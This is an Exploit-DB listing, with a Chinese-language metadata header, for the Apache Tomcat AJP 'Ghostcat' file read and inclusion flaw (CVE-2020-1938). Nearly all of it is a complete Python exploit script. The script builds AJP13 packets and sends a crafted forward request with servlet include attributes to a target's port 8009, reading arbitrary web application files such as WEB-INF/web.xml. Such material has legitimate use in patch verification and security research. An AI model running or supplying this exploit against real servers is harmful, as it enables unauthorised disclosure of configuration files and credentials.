标题: Apache Tomcat - AJP 'Ghostcat File Read/Inclusion EDB-ID: 48143 CVE: 2020-1938 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2020-02-20 漏洞利用脚本: #!/usr/bin/env python
#CNVD-2020-10487  Tomcat-Ajp lfi
#by ydhcui
import struct

# Some references:
# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.html
def pack_string(s):
 if s is None:
  return struct.pack(">h", -1)
 l = len(s)
 return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)
def unpack(stream, fmt):
 size = struct.calcsize(fmt)
 buf = stream.read(size)
 return struct.unpack(fmt, buf)
def unpack_string(stream):
 size, = unpack(stream, ">h")
 if size == -1: # null string
  return None
 res, = unpack(stream, "%ds" % size)
 stream.read(1) # \0
 return res
class NotFoundException(Exception):
 pass
class AjpBodyRequest(object):
 # server == web server, container == servlet
 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
 MAX_REQUEST_LENGTH = 8186
 def __init__(self, data_stream, data_len, data_direction=None):
  self.data_stream = data_stream
  self.data_len = data_len
  self.data_direction = data_direction
 def serialize(self):
  data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)
  if len(data) == 0:
   return struct.pack(">bbH", 0x12, 0x34, 0x00)
  else:
   res = struct.pack(">H", len(data))
   res += data
  if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:
   header = struct.pack(">bbH", 0x12, 0x34, len(res))
  else:
   header = struct.pack(">bbH", 0x41, 0x42, len(res))
  return header + res
 def send_and_receive(self, socket, stream):
  while True:
   data = self.serialize()
   socket.send(data)
   r = AjpResponse.receive(stream)
   while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:
    r = AjpResponse.receive(stream)

   if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:
    break
class AjpForwardRequest(object):
 _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)
 REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}
 # server == web server, container == servlet
 SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)
 COMMON_HEADERS = ["SC_REQ_ACCEPT",
  "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",
  "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",
  "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"
 ]
 ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]
 def __init__(self, data_direction=None):
  self.prefix_code = 0x02
  self.method = None
  self.protocol = None
  self.req_uri = None
  self.remote_addr = None
  self.remote_host = None
  self.server_name = None
  self.server_port = None
  self.is_ssl = None
  self.num_headers = None
  self.request_headers = None
  self.attributes = None
  self.data_direction = data_direction
 def pack_headers(self):
  self.num_headers = len(self.request_headers)
  res = ""
  res = struct.pack(">h", self.num_headers)
  for h_name in self.request_headers:
   if h_name.startswith("SC_REQ"):
    code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1
    res += struct.pack("BB", 0xA0, code)
   else:
    res += pack_string(h_name)

   res += pack_string(self.request_headers[h_name])
  return res

 def pack_attributes(self):
  res = b""
  for attr in self.attributes:
   a_name = attr['name']
   code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1
   res += struct.pack("b", code)
   if a_name == "req_attribute":
    aa_name, a_value = attr['value']
    res += pack_string(aa_name)
    res += pack_string(a_value)
   else:
    res += pack_string(attr['value'])
  res += struct.pack("B", 0xFF)
  return res
 def serialize(self):
  res = ""
  res = struct.pack("bb", self.prefix_code, self.method)
  res += pack_string(self.protocol)
  res += pack_string(self.req_uri)
  res += pack_string(self.remote_addr)
  res += pack_string(self.remote_host)
  res += pack_string(self.server_name)
  res += struct.pack(">h", self.server_port)
  res += struct.pack("?", self.is_ssl)
  res += self.pack_headers()
  res += self.pack_attributes()
  if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:
   header = struct.pack(">bbh", 0x12, 0x34, len(res))
  else:
   header = struct.pack(">bbh", 0x41, 0x42, len(res))
  return header + res
 def parse(self, raw_packet):
  stream = StringIO(raw_packet)
  self.magic1, self.magic2, data_len = unpack(stream, "bbH")
  self.prefix_code, self.method = unpack(stream, "bb")
  self.protocol = unpack_string(stream)
  self.req_uri = unpack_string(stream)
  self.remote_addr = unpack_string(stream)
  self.remote_host = unpack_string(stream)
  self.server_name = unpack_string(stream)
  self.server_port = unpack(stream, ">h")
  self.is_ssl = unpack(stream, "?")
  self.num_headers, = unpack(stream, ">H")
  self.request_headers = {}
  for i in range(self.num_headers):
   code, = unpack(stream, ">H")
   if code > 0xA000:
    h_name = AjpForwardRequest.COMMON_HEADERS[code - 0xA001]
   else:
    h_name = unpack(stream, "%ds" % code)
    stream.read(1) # \0
   h_value = unpack_string(stream)
   self.request_headers[h_name] = h_value
 def send_and_receive(self, socket, stream, save_cookies=False):
  res = []
  i = socket.sendall(self.serialize())
  if self.method == AjpForwardRequest.POST:
   return res

  r = AjpResponse.receive(stream)
  assert r.prefix_code == AjpResponse.SEND_HEADERS
  res.append(r)
  if save_cookies and 'Set-Cookie' in r.response_headers:
   self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']

  # read body chunks and end response packets
  while True:
   r = AjpResponse.receive(stream)
   res.append(r)
   if r.prefix_code == AjpResponse.END_RESPONSE:
    break
   elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:
    continue
   else:
    raise NotImplementedError
    break

  return res

class AjpResponse(object):
 _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)
 COMMON_SEND_HEADERS = [
   "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",
   "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"
   ]
 def parse(self, stream):
  # read headers
  self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")

  if self.prefix_code == AjpResponse.SEND_HEADERS:
   self.parse_send_headers(stream)
  elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:
   self.parse_send_body_chunk(stream)
  elif self.prefix_code == AjpResponse.END_RESPONSE:
   self.parse_end_response(stream)
  elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:
   self.parse_get_body_chunk(stream)
  else:
   raise NotImplementedError

 def parse_send_headers(self, stream):
  self.http_status_code, = unpack(stream, ">H")
  self.http_status_msg = unpack_string(stream)
  self.num_headers, = unpack(stream, ">H")
  self.response_headers = {}
  for i in range(self.num_headers):
   code, = unpack(stream, ">H")
   if code <= 0xA000: # custom header
    h_name, = unpack(stream, "%ds" % code)
    stream.read(1) # \0
    h_value = unpack_string(stream)
   else:
    h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]
    h_value = unpack_string(stream)
   self.response_headers[h_name] = h_value

 def parse_send_body_chunk(self, stream):
  self.data_length, = unpack(stream, ">H")
  self.data = stream.read(self.data_length+1)

 def parse_end_response(self, stream):
  self.reuse, = unpack(stream, "b")

 def parse_get_body_chunk(self, stream):
  rlen, = unpack(stream, ">H")
  return rlen

 @staticmethod
 def receive(stream):
  r = AjpResponse()
  r.parse(stream)
  return r

import socket

def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):
 fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)
 fr.method = method
 fr.protocol = "HTTP/1.1"
 fr.req_uri = req_uri
 fr.remote_addr = target_host
 fr.remote_host = None
 fr.server_name = target_host
 fr.server_port = 80
 fr.request_headers = {
  'SC_REQ_ACCEPT': 'text/html',
  'SC_REQ_CONNECTION': 'keep-alive',
  'SC_REQ_CONTENT_LENGTH': '0',
  'SC_REQ_HOST': target_host,
  'SC_REQ_USER_AGENT': 'Mozilla',
  'Accept-Encoding': 'gzip, deflate, sdch',
  'Accept-Language': 'en-US,en;q=0.5',
  'Upgrade-Insecure-Requests': '1',
  'Cache-Control': 'max-age=0'
 }
 fr.is_ssl = False
 fr.attributes = []
 return fr

class Tomcat(object):
 def __init__(self, target_host, target_port):
  self.target_host = target_host
  self.target_port = target_port

  self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  self.socket.connect((target_host, target_port))
  self.stream = self.socket.makefile("rb", bufsize=0)

 def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):
  self.req_uri = req_uri
  self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))
  print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))
  if user is not None and password is not None:
   self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('\n', '')
  for h in headers:
   self.forward_request.request_headers[h] = headers[h]
  for a in attributes:
   self.forward_request.attributes.append(a)
  responses = self.forward_request.send_and_receive(self.socket, self.stream)
  if len(responses) == 0:
   return None, None
  snd_hdrs_res = responses[0]
  data_res = responses[1:-1]
  if len(data_res) == 0:
   print("No data in response. Headers:%s\n" % snd_hdrs_res.response_headers)
  return snd_hdrs_res, data_res

'''
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
'''

import argparse
parser = argparse.ArgumentParser()
parser.add_argument("target", type=str, help="Hostname or IP to attack")
parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")
parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")
args = parser.parse_args()
t = Tomcat(args.target, args.port)
_,data = t.perform_request('/asdf',attributes=[
    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},
    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},
    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},
    ])
print('----------------------------')
print("".join([d.data for d in data])) URL: https://www.exploit-db.com/exploits/48143